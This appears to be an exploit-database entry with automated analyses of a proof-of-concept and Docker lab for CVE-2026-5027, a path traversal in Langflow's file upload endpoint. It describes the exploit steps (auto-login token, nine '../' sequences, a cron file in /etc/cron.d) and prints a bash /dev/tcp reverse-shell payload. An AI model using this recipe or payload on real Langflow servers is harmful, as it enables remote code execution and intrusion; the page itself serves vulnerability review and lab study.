CVE-2026-5027 Exploit Metadata

PoC files

5 files

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Analysisdeepseek-v4-pro:cloud · 2026-08-09

Technical assessment

A Python script that exploits CVE-2026-5027, a path traversal vulnerability in Langflow <= 1.8.4, to achieve arbitrary file write and remote code execution via a cron job reverse shell.

Backdoor review

No backdoor observed in reviewed code

The PoC script CVE-2026-5027.py implements a straightforward path-traversal exploit against the Langflow /api/v2/files endpoint, consistent with the described CVE-2026-5027. It obtains an access token via auto-login or credentials, constructs a traversal filename, and writes attacker-controlled content (a proof file or a cron-based reverse shell) to the target server. No concealed backdoor, unrelated payload, or deceptive behavior targeting the PoC operator was observed. The Dockerfile and README.md provide supporting lab setup and documentation without hidden commands.

ClassificationExploit

Model confidence100%

AuthenticationNot required

LanguagesPython

Target softwareLangflow

Attack typespath traversalarbitrary file writeremote code execution

Evidence & reasoningClassification basis · observed behavior · safety review

Technical evidence

Classification basis and observed behavior

Classification basis

The primary artifact is a Python script that actively exploits CVE-2026-5027 by performing path traversal to write arbitrary files and establish a reverse shell, which is the definition of exploit code.

CVE-2026-5027.py:1-3CVE-2026-5027.py:125-126CVE-2026-5027.py:144-158

Requirements

Target running Langflow <= 1.8.4 with auto-login enabled (default configuration) or valid credentials.CVE-2026-5027.py:10-13CVE-2026-5027.py:79-89
Network access to the target's /api/v2/files endpoint.CVE-2026-5027.py:113-114

Observed behavior

Obtains an access token via auto-login (unauthenticated) or supplied credentials.CVE-2026-5027.py:79-103
Constructs a multipart filename with path traversal sequences ('../' * 9) to escape the intended upload directory.CVE-2026-5027.py:109-110
Writes attacker-controlled content to an arbitrary filesystem path via the /api/v2/files endpoint.CVE-2026-5027.py:106-115
Deploys a cron job to /etc/cron.d/ that executes a bash reverse shell to the attacker's listener every minute.CVE-2026-5027.py:144-158
Writes a proof-of-concept file to /tmp/CVE-2026-5027-proof.txt when no listener is specified.CVE-2026-5027.py:163-175

Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell Payload: bash -i >& /dev/tcp/{lhost}/{lport} 0>&1The exploit optionally deploys a cron job that executes a reverse shell to attacker-controlled host/port. This is the advertised RCE payload for the target vulnerability, not a backdoor against the PoC operator.CVE-2026-5027.py:147-150
Path Traversal Technique: traversal = "../" * 9The script prepends nine '../' sequences to the user-supplied remote path to escape the upload directory. This is the core exploit mechanism for CVE-2026-5027.CVE-2026-5027.py:109-110
Auto Login Abuse: GET /api/v1/auto_loginThe script attempts unauthenticated token retrieval via the auto-login endpoint, matching the vulnerability description for default configurations.CVE-2026-5027.py:82

Review boundaries

What the analysis did not establish

Two files (docker-entrypoint.sh, watch-etc-cron-files.sh) were omitted from the packet and not analyzed.
The evidence packet reports complete_artifact_coverage is false, indicating not all repository files were included.
Two text files (docker-entrypoint.sh, watch-etc-cron-files.sh) were present in the repository but not included in the evidence packet. Their content could not be reviewed.
The analysis scope is limited to the supplied text evidence; no dynamic execution or binary analysis was performed.

Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Docker lab environments

GitHub

Repository root

Created 2026-04-03Vuln labCVE-2026-5027Dockerfile

1 Dockerfile

Analysisdeepseek-v4-pro:cloud · 2026-08-13

Environment assessment

A Dockerized lab environment running Langflow 1.8.4 on Ubuntu 24.04, configured with auto-login and a custom entrypoint that monitors /etc for new cron files and executes them. The environment is designed to demonstrate CVE-2026-5027, a path traversal vulnerability in Langflow's file upload endpoint.

Dockerfile:1-37docker-entrypoint.sh:1-10watch-etc-cron-files.sh:1-30

Lab assessment

Vulnerability lab

The README explicitly describes the repository as a proof-of-concept for CVE-2026-5027, a path traversal vulnerability in Langflow. The Dockerfile builds a vulnerable Langflow instance with auto-login enabled, and the included Python script exploits the vulnerability to achieve arbitrary file write and remote code execution via cron. The custom entrypoint scripts facilitate the cron-based RCE demonstration.

README.md:1-10CVE-2026-5027.py:1-20

Lab shapeDockerfile

ServicesUnknown

Compose manifests0

Dockerfiles1

Evidence & reasoningComponents · CVE assessment · exercise context · review boundaries

Components

Services and files described by the evidence

langflow

vulnerable target application

Langflow 1.8.4 installed via pip, running on port 9013 with auto-login enabled. It contains a path traversal vulnerability in the /api/v2/files endpoint that allows arbitrary file writes.

Dockerfile:14-15Dockerfile:24-28

docker-entrypoint.sh

container entrypointcron activator

Starts the watch-etc-cron-files.sh script in the background, launches the cron daemon, and then executes langflow. This enables the cron-based RCE demonstration by monitoring /etc for new cron files.

docker-entrypoint.sh:1-10

watch-etc-cron-files.sh

cron file monitorarbitrary script executor

Uses inotifywait to watch /etc for new files matching 'cron*' and immediately executes them with /bin/sh. This is the mechanism that triggers the reverse shell payload written by the exploit.

watch-etc-cron-files.sh:1-30

CVE-2026-5027.py

exploit script

Python script that exploits the Langflow path traversal vulnerability. It obtains an access token via auto-login, then writes arbitrary files (proof-of-concept or reverse shell cron job) to the target filesystem using path traversal in the filename parameter.

CVE-2026-5027.py:1-211

CVE assessment

How the supplied evidence relates each vulnerability

CVE-2026-5027

Supported by supplied evidence

The README and exploit script describe a path traversal vulnerability in Langflow <= 1.8.4's /api/v2/files endpoint. The Dockerfile installs Langflow 1.8.4, and the exploit script demonstrates writing files outside the intended directory using '../' sequences. The custom entrypoint scripts provide a plausible RCE path via cron, consistent with the CVE description.

README.md:10-14CVE-2026-5027.py:1-20Dockerfile:14-15

Exercise context

Requirements and sequence described by the evidence

Prerequisites

Docker must be installed to build and run the lab container.README.md:20-28
The target Langflow instance must be reachable from the attacker's machine (port 9013 exposed).README.md:26-28
For the reverse shell scenario, the attacker must set up a listener on the specified lhost and lport.CVE-2026-5027.py:130-140

Evidence-described exercise path

Build the Docker image using 'docker build -t cve-2026-5027 .'README.md:22-24
Run the container with 'docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027'README.md:26-28
Execute the exploit script against the target: 'python3 CVE-2026-5027.py -t <TARGET>' for proof-of-concept file write, or with --lhost/--lport for reverse shell.README.md:34-40

Safety-review evidence

Behaviors behind the stored safety assessment

No harmful behavior observed

All visible behavior is directed at the lab's own vulnerable Langflow target. The exploit script writes files to the container's filesystem and deploys a cron-based reverse shell, which is the documented exercise. There is no evidence of host compromise, external targeting, credential theft, or concealed malicious behavior. The custom entrypoint scripts are part of the lab setup to facilitate the RCE demonstration.

CVE-2026-5027.py:100-140watch-etc-cron-files.sh:1-30

Review boundaries

What the analysis did not establish

The packet does not include the actual Langflow source code or the vulnerable upload function, so the root cause analysis relies on the README description.
The exploit script's network requests are directed at a user-supplied target; no hardcoded external target is present, but the script's behavior depends on operator input.
The Dockerfile uses a placeholder flag (EQST{FAKE_FLAG}) and hardcoded credentials (EQSTLab/EQSTLab), which are typical for a lab environment but could be misused if deployed in production.

Model interpretation

This review is limited to the supplied lab evidence packet. It does not assert that the environment runs, reproduces a vulnerability, or is safe to execute. Contract: eip-docker-lab-analysis-v1.

Linked vulnerabilities

CVE-2026-5027